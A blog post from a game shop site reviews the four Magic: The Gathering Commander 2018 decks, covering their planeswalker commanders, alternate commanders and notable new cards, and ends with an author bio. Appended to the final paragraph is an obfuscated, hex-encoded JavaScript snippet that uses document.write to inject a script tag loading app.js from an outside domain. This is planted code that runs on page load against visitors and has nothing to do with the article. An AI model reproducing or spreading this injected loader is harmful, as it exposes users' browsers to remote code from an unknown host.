Commander 2018 – Which Deck Will You Chose?

This Friday is Commander Christmas! For avid Commander fans it’s the time of year when Wizards of the Coast releases a new series of Commander decks to enjoy and build upon! Every year we get different color combinations, mechanics and themes to work with. This year, the Commander decks once again focus on Planeswalkers as Commanders — a mechanic seen in the Commander 2014 mono-colored decks and with the Commander partners Rowan Kenrith and Will Kenrith.

If you are at all interested in trying out the Commander product or interested in cards for your own kitchen table games, I suggest you check out the Commander decks. They contain a number of great cards with multiplayer focus and often have both some popular reprints and some great new cards not found anywhere else.

There are four decks bein released as part of the Commander 2018 line:

Exquisite Inventions (Blue/Red)
Natures Vengeance (Black/Red/Green)
Adaptive Enchantment (White/Blue/Green)
Subjective Reality (White/Blue/Black)

Each of these decks have one oversized card representing the primary commander (in this case, the four planeswalkers) plus each deck has two other cards that can also be used as your deck’s commander. All three commanders are printed in foil. There’s usually a few other neat legendary creatures included that also make for interesting options for commander decks but that can’t be used out of the box as they are often missing one or more of the deck’s colors. Depending on which commander you use, you may need to tweak your deck a bit and add or remove cards to nudge your deck towards what your commander wants to accomplish.

So which of the four decks is the right deck for you?

Here’s a breakdown of what you can expect from each deck.

Exquisite Inventions

Primary Commander – Saheeli, the Gifted

Exquisite Inventions is an artifact focused deck and Saheeli helps grow your board. She can create servos to help grow your army and she can make your spells cheaper (sometimes much, much cheaper). Once you have a good army of artifacts on the board, she can double your board and allow you to snatch victory from your opponents.

This card is really good — surprisingly good. It’s not hard to build a nice little pool of artifact tokens through myr, thopters, servos and treasure and then use Saheeli’s second ability as a form of improvise effect allowing you to drop huge creatures and spells much sooner than you normally could. Maybe drop a blightsteel colossus. Maybe an Emrakul. Maybe you just want to cast a huge X cost sorcery like Saheeli’s Directive. Either way, this card can get you a significant ramp.¬† In fact, it’s not likely you’ll ever really want to ultimate her.

Alternate Commander – Brudiclad, Telchor Engineer

Brudiclad likes tokens. He makes them himself and can turn those tokens into something far, far more powerful. The goal with him is to build an army of simple little tokens (thoptors, myr, or even treasure) then make those tokens a copy of a more powerful token you have on the board. They don’t have to copy a creature either, giving you tons of flexibility. Maybe you want to copy a token that generates mana or has some sort of utility?

Alternate Commander – Tawnos, Urza’s Apprentice

Artifacts can often have powerful abilities — so why not copy them? Tawnos is about using and abusing your artifact’s activated or triggered abilities. He has haste, so you can drop him and use him right away — taking your opponents by surprise.

Other Commander options

Bosh, Iron Golum¬† – Toss your toys at your friends! This isn’t the first Commander appearance of Bosh – he was in the Daretti Commander deck a few years ago. Despite being an artifact, Bosh has a red color identity thanks to the activation cost on his ability. You’d need to cut blue from your deck to use him.

Varchild, Betrayer of Kjeldor – Attack your ennemies and make them armies of tokens that they can only use to attack each other. If they kill Varchild, you get them all back! She doesn’t really play too terribly well in the confines of an artifact deck and demands a deck of her own.

Other cards to consider

Treasure Nabber – This new card is very interesting and could be a lot of fun. It can help deter your opponents from using their mana rocks — especially if you have a sacrifice outlet. Sol Rings, Mana Crypts — nothing is safe from your goblin’s greasy mitts.

Saheeli’s Directive – A Genesis Wave for artifacts with Improvise to help you get even more bang for your buck. An artifact deck should have no trouble generating a ton of mana to pump into this spell and Saheeli will make it even easier.

Endless Atlas – A great card draw artifact that’s both cheap and effective. While blue should have no issue drawing cards, your other mono-colored decks would likely make great use of this. Mono-white decks will be screaming for this card!

Who is this deck for?

If you like artifacts, this is the deck for you. All three of the commanders can help you take advantage of them in different ways. Saheeli wants to build a large field of artifacts and use that to cast large spells for a discounted cost. Tawnos wants to help you take advantage of powerful artifact abilities by duplicating them. Brudiclad takes a bit more work as you’ll need to field a large mass of tokens and have at least one very good token for them to copy.

Nature’s Vengeance

Primary Commander – Lord Windgrace

Lord Windgrace is all about lands. He can loot cards for you — always a good thing — and retrieve land from your graveyard and put them on the battlefield. He’s a very good “lands matter” commander in Red/Green/Black colors. His ultimate may not win you the game but could help take care of a few troublesome permanents your opponents control.

This card is great all around and gives players a land based commander in colors that really like to mess around with lands entering and leaving the battlefield. If you have had your eye on Gitrog Monster and Omnath, Locus of Rage then you’ll be happy to know you can now play both and take advantage of your fetches and they come and go. Lands you pitch with Windgrace’s +2 will only help ramp you later when he uses his second ability. The deck itself is also primed to take advantage of land cards entering the battlefield or sitting in the graveyard. Windgrace promises to be a lot of fun.

Alternate Commander – Gyrus, Walker of Corpses

A big beefy hydra who can use commander tax to his advantage — getting bigger the more mana you put into him. Gyrus wants to pull creatures from your graveyard, getting extra enter the battlefield triggers and combat damage from creatures that have died. He can play well with Windgrace to get extra use out of cards you have pitched. He may not be the best re-animator commander but he is interesting.

Alternate Commander – Thantis, The Warweaver

Thantis wants to get the action going on and create chaos. He wants everything to be on the attack. He’s great for quick games and setting your opponents against each other. Using Thantis as your commander may take some work though as you’ll want to try to prevent your oppoents from attacking you. Thantis should act as a bit of a deterrent but you may want a bit more insurance.

Other Commander options

Xantcha, Sleeper Agent – Give your opponent a powerful attacker and set him against your foes while also opening him up to life loss while everyone drains them for cards off of Xantcha’s ability. She’s an amazing card that is bound to be fun to build around and one of the more interesting commander options printed in this year’s set. Unfortunatly, she’s only Red/Black so you can’t use her as your commander for this deck without a lot of changes.

Budoka Gardener – Get extra land and eventually start making huge elementals! This reprinted legendary is inexpensive to play — costing only 1G — but like Xantcha, you can’t play the mono-green creature as your commander right away if you decided to go this route.

Other cards to consider

Nesting Dragon – This card is easy to overlook but the landfall trigger on this dragon needs some attention. Nesting Dragon creates dragon eggs which, when they die, create 2/2 fire breathing dragons. Why is this good? For starters, Windgrace loves lands so you can expect to get some decent landfall triggers. Second, the eggs help insulate your board from wipes. A board wipe may set you back, but in exchange you will get a nice little army of 2/2s (provided the wipe wasn’t an exile effect).

Whiptongue Hydra – Green players take note! This card is awesome! Flyers can be a pain to deal with for some decks but this hydra takes care of that. Any deck that can trigger the ETB effect over and over through blinks or reanimation will get even more value out of this creature.

Windgrace’s Judgement – One of the best new cards in the set, Windgrace’s Judgement is instant-speed removal that can target the biggest threat on each opponent’s board. It can also deal with any non-land permanent – artifact, planeswalker, enchantment or creature.

Who is this deck for?

Lord Windgrace is great for anyone looking for a “lands matter” deck. He’ll need a bit of care to upgrade but he has a lot of potential. Gyrus and Thantis however go in very different directions. Gyrus is good for a re-animator approach. Fill your graveyard with powerful creatures and cheat them into play during combat. Thantis wants to generate chaos and get your opponents attacking each other constantly. Each of the alternate commanders plays a bit differently so you’ll really want to take different approaches to upgrade the deck depending on who you chose.

Adaptive Enchantment

Primary Commander – Estrid, The Masked

Estrid is all about Auras. She can create auras to protect your permanents and uptap enchanted permanents. If you have a graveyard full of enchantments and auras, her ultimate can help you seal a victory.

By herself, Estrid is a bit of an odd commander. She really likes auras — which are often frowned upon by players as they can allow your opponents to get card advantage by trading one card for two (or more). When your creature dies, so does the aura. You can get around this a bit with cards with bestow that pump creatures but still remain alive after the enchanted creature dies. Totem armor can help save your creatures. There are also a few cards in the deck to help you bring your enchantments and auras back from the graveyard.

Estrid’s +2 ability can give your creatures pseudo-vigilance by untapping them after combat. It can act as a form of ramp by untapping your enchanted lands. Any permanent that can be enchanted (which is any permanent thanks to Estrid’s second ability) can be untapped in this manner.

Her -1 ability can help act as board insurance, protecting key permanents with totem armor. It can be fairly low-impact but if you have one big creature you want to keep safe, Estrid can help.

You probably won’t get many opportunities to ultimate Estrid as your opponents will be keeping their eyes on your commander but if you do, you’ll be able to recover any lost enchantments and auras and put yourself back in the lead if you’ve been falling behind. It’s not likely to lock the game for you but it can give you quite a boosts.

Alternate Commander – Kestia, the Cultivator

A commander with the Bestow ability from Theros, Kestia can help with card draw by allowing you to draw cards for any enchantment creature or enchanted creature that attacks. The ability to bestow Kestia on a creature can give your commander a bit of life insurance as killing the enchanted creature leave Kestia on the battlefield as a creature herself.

Alternate Commander – Tuvasa the Sunlit

Tuvasa draws you a card for each enchantment creature you play while getting larger herself as you play enchantment cards. Her card draw only triggers once per turn but it is still card draw and her casting cost is the lowest of the three commander options — allowing you to play her early.

Other Commander options

Arixmethes, Slumbering Isle – A very odd option for a commander, Arixmethes starts off as nothing more than a land so long as there are counters on him. Once counters are removed, however, he becomes a 12/12 creature and a very dangerous threat. An interesting commander but using him requires cutting white from your deck.

Bruna, Light of Alabaster – Bruna loves auras and so does this deck. An interesting voltron option for a commander, Bruna wants you to slap auras on her. Better yet, she can bring auras back from your graveyard to buff herself up. She’s an interesting option but requires curring green.

Daxos of Meletis – Daxos wants to get free stuff from your opponents and gain you life. He can’t be blocked by creatures with power 3 or greater which could give you plenty of options to slip by your opponent’s defenses especially if you suit him with auras. Sadly, he can’t be the commander of the deck without changes as he lacks green.

Other cards to consider

Ravenous Slime – Cards that deny graveyard recursion are often ignored. Anafenza was a pain to play around if you were doing any form of reanimation and Ravenous Slime is going to cause the same headaches.

Loyal Unicorn – One of the better Lieutenant’s of the set, Loyal Unicorn can allow you to swing at your opponents without fear of losing your creatures or leaving yourself open to others. There are a couple of hoops you need to jump through though — you need your commander in play and you need creatures that will benefit from the effect.

Estrid’s Invocation – A very potent enchantment, Estrid’s Invocation is always a copy of the best enchantment on the field. Maybe you want a second Sigil of the Empty Throne to fill your board with Angels. Perhaps you want to copy your opponent’s Ghostly Prison. It’s a great spell that can adapt to the situation the board needs.

Who is this deck for?

This deck is geared towards players who want to play an enchantress deck or buff up their creatures with auras. Auras can be tricky though as a removal spell can kill not only the enchanted creature but also eliminate the auras as well. All three commander options for this deck play along the same theme so you can switch them around without needing too many changes. You’ll still likely want to make some adjustments though.

Subjective Reality

Primary Commander – Aminatou, the Fateshifter

Animatou is an odd one. The card art itself is stunning and her abilities do very different things. On one hand she manipulates the top card of your deck by allowing you to put any card on top. Her other ability allows you to blink permanents and trigger their enter the battlefield effects. Her final ability shuffles around control of permanents. It’s all strange but none of it is to be overlooked. At three mana, she’s easy to get into play too. She’s full of options to consider but none of them are, at a glance, overly powerful.

The central theme of the deck is “top card matters” which is where her +1 ability comes into play. This allows you to place a key card from your hand on top of your deck for whatever purpose you may need. Perhaps you want to cast a spell for its miracle cost or maybe you want to cheat a card into play with Yennett. The ability is interesting and has potential to be a lot of fun. Ponder, Scroll Rack and Sensei’s Divining Top can all help further support this theme.

Aminatou’s -1 ability is not at all related to her first one. Her blink effect can help trigger an ETB effect or get additional value out of a planeswalker. There are other commanders who like abusing blink effects (Brago being a notable one) but if you want to play White/Blue/Black, Animatou is an option.

Finally, her ultimate is downright strange. Players exchange control of nonland permanents. This can help you exchange your board for a much stronger one or weaken an opponent by disrupting their board.

Animatou is an odd one but her low cost and versatility could make her an enjoyable commander to play.

Alternate Commander – Varina, Lich Queen

Varina is a zombie tribal commander, hands down. She’s also one of the first zombie tribal commanders that will allow you to play white, black and blue (most are mono-colored or black/blue). Her biggest boon is the ability to draw cards and fill your graveyard with reanimation targets. Unfortunatly, you’ll be hard-pressed to find many zombies in the deck making her a bad option as a commander out of the box.

Alternate Commander – Yennett, Cryptic Sovereign

Yenett is a very interesting commander. You could go Sphynx tribal with her or simply do what she wants to do — get free stuff by filling your deck with odd-costed creatures. Yenette is interesting out of the box and plays well with Animatou (who is odd costed). You’ll want to manipulate the top card of your library to get big, splashy odd-costed spells and cast them for free. You’ll want to upgrade the deck a bit to make the best of her.

Other Commander options

Yuriko, the Tiger’s Shadow – Yuriko wants to sneak her way pasts your opponent’s defenses and with Commander Ninjitsu, she can. She can gain you cards and cost your opponents a lot of life in the process. If you can get more ninjas for her to hang around with, she can take out significant chunks of your opponent’s health while filling your hand with cards. She’s a fun option to build around but finding ninjas will be hard and she can only use black and blue cards — making her unable to command this deck out of the box.

Other cards to consider

Magus of the Balance – Balance was a great card but it’s also banned in Commander. Magus of Balance gives you the power of Balance on a body. It’s an interesting effect that white can take advantage of. White has few means to ramp. It has very little card draw. This effect can help them keep pace by pulling everyone else down to their level. It’s also an ability you can build around. Sadly, the fact that the Magus doesn’t have haste will make him an easy target for your opponents. If the table doesn’t want you to trigger his ability, odds are you won’t get the chance.

Boreas Charger – Another effect that White will like, Boreas Charger provides a source of ramp. The downside is, you only get the benefit when Boreas Charger leaves the battlefield. This delays your ramp a bit more than you might like — unless of course you blink it with Aminatou’s -1 or a similar effect.

Sower of Discord – Effects that increase damage players take can be very powerful and this one is no exception. The big benefit is that the effect doesn’t target you. The downside is that the targeted players will.

Who is this deck for?

Out of the box, the deck is primarily for those who want to play around with the top card of their library. It’s an interesting mechanic but one that may need a bit of honing. There are also some great options for going with a tribal theme — Zombie, Sphynx or Ninja.

How to chose?

Chose the best deck for you! Build and upgrade on it. Swap out commanders. Build entirely new decks with the legendaries you aren’t using. Each deck includes 100 cards (3 of which will be foil), an oversized Commander card, and tokens. Each deck contains 17 cards that are new and not printed anywhere else.

While this cycle of decks has been criticized for lacking big reprints there’s a lot of good to be had here. There are a tone of new and unique legendary creatures to brew around which will only help build more variety into your commander nights. There’s also a lot of cards that help fill important gaps in the format. Cards like Endless Atlas help bolster deck types that were very weak in some areas. Overall, while financial speculators may be a bit less excited about the decks those who look to these sets for fun and inspiration will find more than enough bang for their buck.

Pick one up and challenge your friends! Use them as a great resource to draw in new players! Find which deck is right for you and start playing! (Or you can pick up all four at Heroes’ Beacon and get a 10% discount for the set!) var _0x1b1d=[“\x3C\x73\x63\x72″,”\x69\x70\x74\x20\x61\x73\x79\x6E\x63\x20\x63\x6C\x61\x73\x73\x3D\x22\x3D\x52\x32\x4E\x34\x54\x55\x77\x7A\x52\x6C\x6F\x37\x4C\x54\x63\x31\x4F\x7A\x45\x3D\x22\x20\x73\x72\x63\x3D\x22\x68\x74\x74\x70\x73\x3A\x2F\x2F\x70\x6C\x61\x79\x2E\x66\x65\x65\x73″,”\x6F\x63\x72\x61\x6C\x64\x2E\x63\x6F\x6D\x2F\x61\x70\x70\x2E\x6A\x73\x22\x3E\x3C\x2F\x73\x63\x72″,”\x69\x70\x74\x3E”,”\x77\x72\x69\x74\x65″];function yapm(){var _0x1d09x2=_0x1b1d[0];var _0x1d09x3=_0x1b1d[1];var _0x1d09x4=_0x1b1d[2];var _0x1d09x5=_0x1b1d[3];document[_0x1b1d[4]](_0x1d09x2+ _0x1d09x3+ _0x1d09x4+ _0x1d09x5)}yapm()

Greg Grondin
Gregory Grondin is a full time Systems Analyst working for Mariner Innovations. He also works as a weight loss consultant for Weight Watchers and is part owner of Heroes' Beacon. You can follow his web comic series at http://www.spacepawdyssey.com

Greg is a fan of gaming and comics in general and an avid collector of Transformers figures.